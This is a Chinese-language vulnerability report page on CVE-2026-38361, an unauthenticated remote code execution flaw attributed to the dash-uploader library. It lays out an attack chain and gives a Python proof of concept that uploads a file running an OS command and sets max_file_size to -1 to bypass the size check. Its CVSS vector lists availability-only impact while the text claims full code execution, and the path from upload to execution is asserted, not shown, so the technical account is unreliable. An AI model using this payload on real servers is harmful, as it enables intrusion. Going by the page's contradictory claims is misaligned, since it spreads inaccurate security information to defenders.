IPBUF安全漏洞报告
English
CVE-2026-38361 CVSS 7.5 高危

CVE-2026-38361 dash-uploader远程代码执行漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-38361
漏洞类型
远程代码执行
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
fohrloop dash-uploader

相关标签

RCE远程代码执行dash-uploader文件上传漏洞CVE-2026-38361

漏洞概述

fohrloop dash-uploader v0.1.0至v0.7.0a2版本中存在严重的安全漏洞。该漏洞源于组件中的文件处理逻辑缺陷,远程攻击者无需认证即可利用此漏洞。攻击者通过精心构造的恶意请求,特别是针对Upload函数和max_file_size参数的操作,可在目标服务器上执行任意代码,导致服务不可用或完全沦陷。

技术细节

该漏洞主要影响fohrloop dash-uploader组件的文件上传处理逻辑。漏洞核心位于`dash_uploader/upload.py`文件的Upload函数中,特别是在处理`max_file_size`参数时存在输入验证缺失。攻击者可以通过向`dash_uploader/httprequesthandler.py`发送特制的恶意HTTP请求包,操纵上传参数,从而绕过预期的安全限制。由于`dash_uploader/configure_upload.py`中的配置未能有效隔离上传环境,攻击者利用此漏洞可上传并执行任意恶意脚本或代码。鉴于CVSS 3.1评分为7.5(AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H),攻击者无需用户认证和交互即可通过网络远程利用该漏洞,最终导致服务器可用性受损或被完全控制。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别出使用fohrloop dash-uploader组件且版本在v0.1.0至v0.7.0a2之间的目标系统。
STEP 2
2. 漏洞利用
攻击者构造包含恶意文件和特殊参数(如篡改max_file_size)的HTTP POST请求,发送至`dash_uploader/httprequesthandler.py`接口。
STEP 3
3. 代码执行
服务器端`dash_uploader/upload.py`未能正确过滤参数,导致恶意文件被处理或上传,进而触发任意代码执行。
STEP 4
4. 建立控制
攻击者利用执行的代码获取服务器权限,可能导致数据泄露、服务中断或植入后门。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target = "http://127.0.0.1:8050/_dash-uploader" # Malicious file to upload payload_content = "__import__('os').system('calc.exe')" files = { 'file': ('exploit.py', payload_content, 'application/octet-stream') } # Exploit the max_file_size parameter validation issue data = { 'max_file_size': -1, # Attempt to bypass size check 'uploadId': 'CVE-2026-38361-test' } try: response = requests.post(target, files=files, data=data) if response.status_code == 200: print("[+] Potential exploit successful, check server.") else: print(f"[-] Exploit failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

fohrloop dash-uploader v0.1.0 至 v0.7.0a2

防御指南

临时缓解措施
建议立即检查并更新fohrloop/dash-uploader库到最新版本。在未修复前,应通过网络ACL限制对上传接口的访问,仅允许可信IP调用,并监控服务器异常进程。

参考链接